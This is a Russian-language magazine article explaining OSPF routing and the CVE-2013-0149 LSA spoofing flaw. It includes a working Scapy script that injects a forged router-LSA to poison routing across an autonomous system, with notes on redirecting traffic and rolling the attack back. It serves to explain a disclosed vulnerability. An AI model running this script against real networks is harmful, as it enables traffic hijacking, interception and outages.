OSPF — это, пожалуй, самый распространенный протокол динамической маршрутизации. Чем крупнее предприятие, чем больше в нем подсетей, удаленных филиалов и представительств, тем выше вероятность встретить там OSPF. Его ценят за минимум служебного трафика, достаточно высокую скорость сходимости и неплохую масштабируемость. Долгое время считалось, что протокол надежен и безопасен. Ведь даже при компрометации одного роутера атакующий мог оказать лишь небольшое и крайне ограниченное воздействие на остальные маршрутизаторы внутри автономной системы, так как не существовало возможности провести глобальные изменения по всем таблицам маршрутизации. Но недавно все изменилось — один-единственный пакет может изменить все, и этот эффект будет постоянным!
WARNING
Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.Про маршрутизацию
Прежде чем начать повествование, давай немного освежим в памяти теорию. Для начала вспомним, что маршрутизация бывает двух типов: динамическая и статическая. Использование динамической маршрутизации позволяет избежать однообразного процесса добавления записей о маршрутах вручную и, соответственно, ошибок, связанных с этим процессом. Вместо этого протоколы динамической маршрутизации строят таблицы маршрутизации сами, автоматически, исходя из текущей конфигурации сети. Одним словом, это просто незаменимая технология, особенно когда сеть состоит не из трех маршрутизаторов, а хотя бы из тридцати. Кроме удобства, есть и другие плюсы. Например, отказоустойчивость. Имея сеть со статической маршрутизацией, достаточно непросто будет организовать резервные каналы, так как будет проблематично отслеживать доступность того или иного сегмента. Что касается протоколов маршрутизации, то они также делятся на две основные группы: междоменную маршрутизацию (Exterior gateway routing или Inter-AS) и внутридоменную (Interior gateway routing или Intra-AS). Самый известный представитель первой группы — это BGP, во вторую группу входит ряд протоколов — OSPF, IS-IS, EIGRP и практически мертвый RIP. Группу маршрутизаторов, обменивающихся маршрутной информацией на основе общего протокола, называют автономной системой (Autonomous System, сокращенно AS — эта аббревиатура дальше будет довольно часто появляться в статье). Вот, пожалуй, и все, что нам потребуется знать для начала.
WWW
- RFC 2328 содержит исчерпывающую информацию о OSPFv2
- Хардкорный некоммерческий проект linkmeup для тех, кто действительно хочет знать, как работают современные сети
- Cisco Security Advisory
- Juniper
OSPF в деталях
Как уже говорилось, OSPF — один из распространенных протоколов динамической маршрутизации. Но как же он работает? Маршрутизатор OSPF обнаруживает соседей, устанавливает отношения смежности и затем поддерживает соседство, используя протокол Hello. В пакетах этого протокола содержатся значения Router Priority
(для выбора DR) иHelloInterval
(интервал между пакетами Hello). Также указывается, как часто должно быть слышно соседа для определения его работоспособности (RouterDeadInterval
). ЗначенияHelloInterval
и RouterDeadInterval
должны быть идентичны для всех маршрутизаторов.
Перед тем как интерфейс начнет работать, проверяется наличие в сети маршрутизатора DR. DR (designated router) — это выделенный маршрутизатор, который выполняет две задачи: генерирует анонсы network-LSA (эти LSA содержат список маршрутизаторов, подключенных в данный момент к сети) и является смежным для всех остальных маршрутизаторов (в случае выхода из строя его функции берет на себя BDR — backup designated router). Если такой маршрутизатор уже задан, он принимается независимо от значения Router Priority. Если же маршрутизатор DR еще не назначен, им становится данный маршрутизатор, при условии, что он имеет наивысшее значение Router Priority.
Затем маршрутизатор описывает свою базу каналов, посылая соседу последовательность пакетов Database Description. Такой процесс обмена пакетами Database Description называется обменом базами данных (Database Exchange Process). После завершения процесса Database Exchange и выполнения всех запросов Link State базы данных синхронизированы и маршрутизаторы маркируются как смежные (fully adjacent). С этого момента отношения смежности являются полными и начинают анонсироваться router-LSA (объявления о состоянии каналов маршрутизатора).
LSA анонсируется каждые 30 минут (за это отвечает архитектурная константаLSRefreshTime
), при этом каждый последующий LSA имеет больший sequence number, чем предыдущий. Разумеется, LSA с большим номером замещает тот, что с меньшим. Эти LSA расходятся по всей автономной системе путем так называемого флуда. Роутер, получивший LSA от одного из соседей, пересылает его всем остальным своим соседям, таким образом, каждый маршрутизатор составляет базу LSA DB.
На основе базы каналов каждый маршрутизатор строит дерево кратчайших путей, корнем которого является он сам. Это дерево содержит маршруты ко всем адресатам внутри AS. Маршрутная информация внешнего происхождения представляется как листья дерева. Дерево включает путь к любой сети или хосту. Но при пересылке пакетов адресату используется только следующий маршрутизатор (next hop).
Погрузимся еще глубже
А теперь познакомимся поближе с заголовком LSA (см. рис. 1). В рамках данной статьи нас будет интересовать LSA первого типа (type 1 или router-LSA). Он содержит поля type
, Link State ID
и Advertising Router
. Комбинация этих трех полей уникальна для LSA.
Хакер #179. Интернет вещей — новый вектор атак
Значение Link State ID
определяет канал и обычно равно Router ID
. Router ID
(идентификатор маршрутизатора) — это 32-битовое число, которое идентифицирует маршрутизатор в пределах одной автономной системы. Этот идентификатор является уникальным в масштабе AS. Одним из вариантов идентификатора может служить наименьший из IP-адресов маршрутизатора.
Поле Advertising Router
содержит идентификатор OSPF Router ID
маршрутизатора, создавшего LSA. Для router-LSA
это поле совпадает с полем Link State ID
(обрати внимание, это очень важная информация из RFC, которая понадобится нам далее).
Sequence number
(порядковый номер) — это 32-разрядное целое число со знаком, которое используется для обнаружения старых LSA и дубликатов. Пространство порядковых номеров линейно упорядочено, и больший порядковый номер соответствует более новой записи LSA.InitialSequenceNumber
используется в качестве порядкового номера (LS Sequence Number) при создании первого анонса LSA и составляет 0x80000001
, а MaxSequenceNumber
— это максимальное значение порядкового номера LSA и равняется 0x7fffffff
(целое число со знаком).
Прием каждого нового анонса LSA должен подтверждаться. Для этого используются пакеты Link State Acknowledgment (LSAck). Но перед этим происходит несколько проверок. Если состояние соседа, приславшего пакеты, ниже Exchange, то LSAck отбрасываются.
Удаление LSA из базы данных маршрутизатора происходит в нескольких случаях. Это может быть перезапись более новым экземпляром во время флуда, ситуация, когда маршрутизатор сам генерирует новый пакет LSA или же запись удаляется в результате устаревания.
Защита OSPF
При обмене данными между маршрутизаторами протокол OSPF может использовать аутентификацию, для того чтобы гарантировать, что только доверенные роутеры могли участвовать в процессе маршрутизации. Заголовок OSPF-пакета включает поле типа аутентификации и 64-битовое поле данных, используемое соответствующей типу схемой аутентификации. Тип аутентификации может задаваться для каждого интерфейса (или, что эквивалентно, для сети/подсети). Определены три типа аутентификации — 0, 1 и 2:
- 0 — без аутентификации (Null authentication);
- 1 — простой пароль;
- 2 — криптографическая аутентификация.
Криптографическая аутентификация считается достаточно устойчивой к раскрытию информации и обеспечивает надежную защиту от активных атак. При ее использовании каждый маршрутизатор добавляет цифровую подпись (message digest) к передаваемому пакету. На принимающей стороне для проверки аутентичности пакетов используется открытый ключ и цифровая подпись из принятого пакета OSPF. Уровень безопасности при криптографической аутентификации полностью определяется используемым алгоритмом (в настоящее время спецификация включает только алгоритм MD5) и качеством используемых ключей. Ни один из типов аутентификации OSPF не обеспечивает конфиденциальности и не предотвращает возможность анализа трафика.
Механизм fight back
Обычно получение своих же (self-originated) LSA-анонсов маршрутизатором вполне нормальное явление. Для их обнаружения он проверяет, чтобы поле Advertising Router
в LSA совпадало с Router ID
(это еще один важный момент, который поможет нам в дальнейшем). Если принятый self-originated пакет LSA оказывается новее последнего экземпляра, порожденного маршрутизатором, требуются специальные меры. В таком случае маршрутизатор устанавливает порядковый номер LSA на единицу больше, чем номер принятого анонса, и создает новый пакет LSA. Именно таким образом и работает механизм, который со временем получил неофициальное название fight back.
Если суммировать все сказанное, складывается впечатление, что с безопасностью OSPF протокола дела обстоят достаточно неплохо:
- для каждого канала можно установить MD5-аутентификацию;
- один LSA-пакет содержит только малую часть топологии сети;
- отбрасывание LSA от неизвестных соседей;
- механизм fight back.
Рис. 2. Результат работы fight back
Ранее известные атаки на OSPF
Протокол OSPF уже давно так или иначе подвергался разнообразным атакам. Это, например, была отправка собственных поддельных LSA — в случае контроля над одним маршрутизатором можно сгенерировать и отправить ложный LSA c заниженной стоимостью существующего соседа, в результате большой объем трафика пойдет через другой роутер, который может не справиться с нагрузкой. Такая атака, конечно, может принести некий результат, но все равно влияние будет незначительное.
Если же попытаться подделать LSA от другого роутера, то тут же сработает fight back механизм и атака будет нивелирована. Можно еще взять и анонсировать канал в сеть за пределами автономной системы. Но в таком случае это не повлияет на маршрутизацию внутри AS. Создать маршрутизатор-фантом? Тоже не вариант, так как OSPF выбрасывает LSA, пришедшие от неизвестных соседей.
Единственная атака, которая действительно могла пробить защиту, — это периодический инжект LSA-пакетов, постоянный и непрерывный. Но во-первых, это очень шумный вариант, а во-вторых, он достаточно непрост в реализации.
Поэтому и существовало мнение, что, даже если атакующий проник и захватил маршрутизатор, узнал MD5-пароли, он все равно не мог тотально влиять на всю AS.
OSPFv2 vs OSPFv3
Основные отличия OSPFv2 и OSPFv3 (помимо появившейся поддержки IPv6):
- OSPFv3 включается на интерфейсах. Включение OSPF на интерфейсе автоматически создает процесс OSPF и соответствующую команду в конфигурационном файле;
- анонсируются все сети, настроенные на интерфейсе;
- новые типы LSA. Добавлены два новых типа LSA — Link LSA и Intra-Area Prefix LSA;
- аутентификации в самом OSPFv3 нет. Используется аутентификация IPv6.
Выходим на исходную
Но недавно все изменилось. Если все прежние атаки приносили только незначительный эффект, влияя лишь на малую часть топологии, либо вызывали срабатывание защитных механизмов OSPF, либо были очень шумными, то представленная новая атака — скрытная, эффективная и приносит постоянные изменения по всей автономке. К ней потенциально уязвимы все вендоры, но на данный момент были подтверждены только Cisco и Juniper.
Давай взглянем на схему сети, которую мы будем атаковать (рис. 3). Для простоты положим, что мы имеем кольцо из маршрутизаторов и контролируем роутер R1. А в качестве жертвы выберем, допустим, роутер R10. Конечно, в нашем примере топология сети сильно упрощена, в реальных условиях обычно используется гораздо больше избыточных связей и маршрутизаторов, но для демонстрации атаки нам этого вполне хватит.
INFO
Концепт атаки был продемонстрирован на Black Hat USA 2013. Авторы: Gabi Nakibly, Eitan Menahem, Ariel Waizel и Yuval Elovici. Свои исследования протокола OSPF они начали еще в 2011 году, попутно проведя серию нескольких новых атак, которые, тем не менее, были сложнее в реализации и не обладали такой мощью, как данная атака.
Прицеливаемся
А теперь опять вернемся к заголовку LSA, точнее, к двум его полям: Link State ID
иAdvertising Router
. Согласно RFC, только сам роутер может создавать свои собственные LSA, следовательно, эти два поля должны быть с одинаковым значением. Но OSPF не проверяет их на равенство. Кроме того, как мы уже знаем, механизм fight back срабатывает, только если эти поля одинаковы.
В итоге получается, что для того, чтобы успешно провести атаку, нужно отправить LSA (первого типа, router-LSA) со значением link state id
= ID роутера жертвы
и сadvertising router
= любому значению, отличному от ID роутера жертвы. Если этот ложный LSA будет иметь sequence number
выше, чем sequence number
текущеей правильной LSA, то поддельная LSA не только появится в DB на всех маршрутизаторах, но и заменит собой правильные LSA.
В итоге все таблицы маршрутизации на всех роутерах будут отравлены. Причем это постоянное явление, чтобы вернуть все как было, придется либо откатить атаку, либо вручную заходить на все маршрутизаторы и заново инициализировать процесс ospf. По сути, для проведения атаки даже не требуется полного контроля над каким-либо роутером в сети — достаточно всего лишь заинжектить один LSA-пакет в сеть так, чтобы любой маршрутизатор из сети принял его.
Подготовим вооружение
Ну что ж, пришло время применить все вышесказанное на практике. Прежде всего для проведения атаки нам понадобится утилита для пакет-крафтинга, например Scapy. Это крайне мощный инструмент, который позволяет вручную собирать пакеты уровень за уровнем, используя интерпретатор Python’а. После установки изначально Scapy не умеет работать с OSPF. Если выполнить load_contrib('ospf')
, то будет выдано сообщение об ошибке: ERROR: No module named contrib.ospf
. Поэтому необходимо дополнительно установить модуль ospf. Скачиваем его и попутно создаем каталог contrib:
mkdir /usr/lib/python2.7/dist-packages/scapy/contrib
Затем переносим модуль в свежесозданный каталог:
cp ospf.py /usr/lib/python2.7/dist-packages/scapy/contrib/
Теперь если зайти в scapy и просмотреть список подключенных модулей, то можно увидеть, что он успешно установлен:
# scapy
>>> list_contrib()
ospf: OSPF status=loads
>>>
Казалось бы, это все, но не тут-то было. При попытке подгрузить ospf-модуль получаем следующую ошибку:
>>> load_contrib('ospf')
ERROR: No module named contrib.ospf
Чтобы избавиться от нее, нужно создать скрипт инициализации:
touch /usr/lib/python2.7/dist-packages/scapy/contrib/__init__.py
После этого Scapy полностью готов для работы с OSPF.
One shot, MANY hits
Теперь настало время перейти к созданию скрипта, который, отправляя всего один пакет, позволит получить контроль над всей AS. Сначала подключим все необходимые модули и отключим протокол IPv6:
#!/usr/bin/env python
import scapy.config
scapy.config.conf.ipv6_enabled = False
from scapy.all import *
load_contrib("ospf")
Затем зададим значения переменных, IP-адрес подконтрольного атакующему роутера, жертвы и, самое главное, Advertising Router (falseadvrouter), который не должен совпадать со значением router ID (victimrouterid):
attacker_source_ip = "192.168.10.111"
attacker_router_id = "192.168.10.101"
victim_destination_ip = "192.168.10.60"
victim_router_id = "192.168.10.6"
false_adv_router = "192.168.47.47"
seq_num = 0x80000700
Теперь собираем сам LSA-пакет, переменные будут подставлены автоматически:
FALSE_LSA = IP(src=attacker_source_ip, dst=victim_destination_ip)/
OSPF_Hdr(src=attacker_router_id)/
OSPF_LSUpd(lsalist=[
OSPF_Router_LSA(options=0x22, type=1, id=victim_router_id, adrouter=false_adv_router, seq=seq_num, linklist=[
OSPF_Link(id="192.168.10.7", data="192.168.10.60", type=2, metric=1),
OSPF_Link(id="192.168.10.60", data="192.168.10.60", type=2, metric=1),
OSPF_Link(id="192.168.50.0", data="255.255.255.0", type=3, metric=3)])])
И завершается скрипт функцией send, которая выбрасывает собранный пакет в сеть через указанный интерфейс:
send(FALSE_LSA, iface="eth0")
Как видно, все достаточно просто. Достаточно его выполнить (# python hitOSPF.py
), и несколько секунд спустя волна изменений пробежит по всему домену маршрутизации.
Что дает контроль над всей автономкой?
Контролируя всю автономную систему, можно как угодно управлять потоками трафика, например направлять их в черные дыры (black hole) или перенаправить часть трафика через подконтрольный атакующему маршрутизатор. Все это затем можно использовать для захвата и изучения интересующего трафика, к которому ранее не было доступа, не говоря уже про всевозможные сценарии DDoS-атак.
Одним из самых интересных вариантов видится как раз перенаправление трафика по другому маршруту. Выбросив маршрутизатор-жертву из общего процесса маршрутизации, можно заставить остальные роутеры пересчитать свои таблицы маршрутизации, и таким образом атакующий сможет наблюдать за гораздо большим объемом трафика, а в некоторых случаях и получить уникальный и не доступный никаким способом трафик.
INFO
Данная уязвимость получила свой номер CVE-2013-0149. В официальном отчете Cisco сообщается, что PSIRT (Cisco Product Security Incident Response Team) не опасаются какого-либо публичного раскрытия или использования этой уязвимости. Видимо, они все же немного ошиблись.
Возвращаем все на свои места
Чтобы откатить атаку, достаточно отправить еще один поддельный LSA-пакет, но в этот раз со значением Advertising Router
, равным ID роутера жертвы
. Причем у этого LSA должен быть больший sequence number, чем во время атаки. В таком случае запустится механизм fight back и все восстановится, причем у всех маршрутизаторов в AS.
Собираем гильзы
Пришло время подвести итоги. Как видишь, получив доступ к одному маршрутизатору, можно контролировать весь домен маршрутизации. Для этого не требуется каких-то особых условий, компрометации нескольких устройств или работы более одного атакующего. Оказалось, что практически все вендоры уязвимы к этой атаке, вероятно, потому, что никто не ожидал такого сценария. Как минимум Cisco и Juniper анонсировали Security Advisories и пофиксили уязвимость. Но очевидно, что тысячи и сотни тысяч устройств так и останутся уязвимыми. И даже не потому, что у многих компаний нет четкой политики обновления и своевременной установки патчей (хотя и это тоже), а потому, что по-прежнему в строю много старого оборудования, которое зачастую невозможно обновить, например из-за недостаточного объема карт памяти.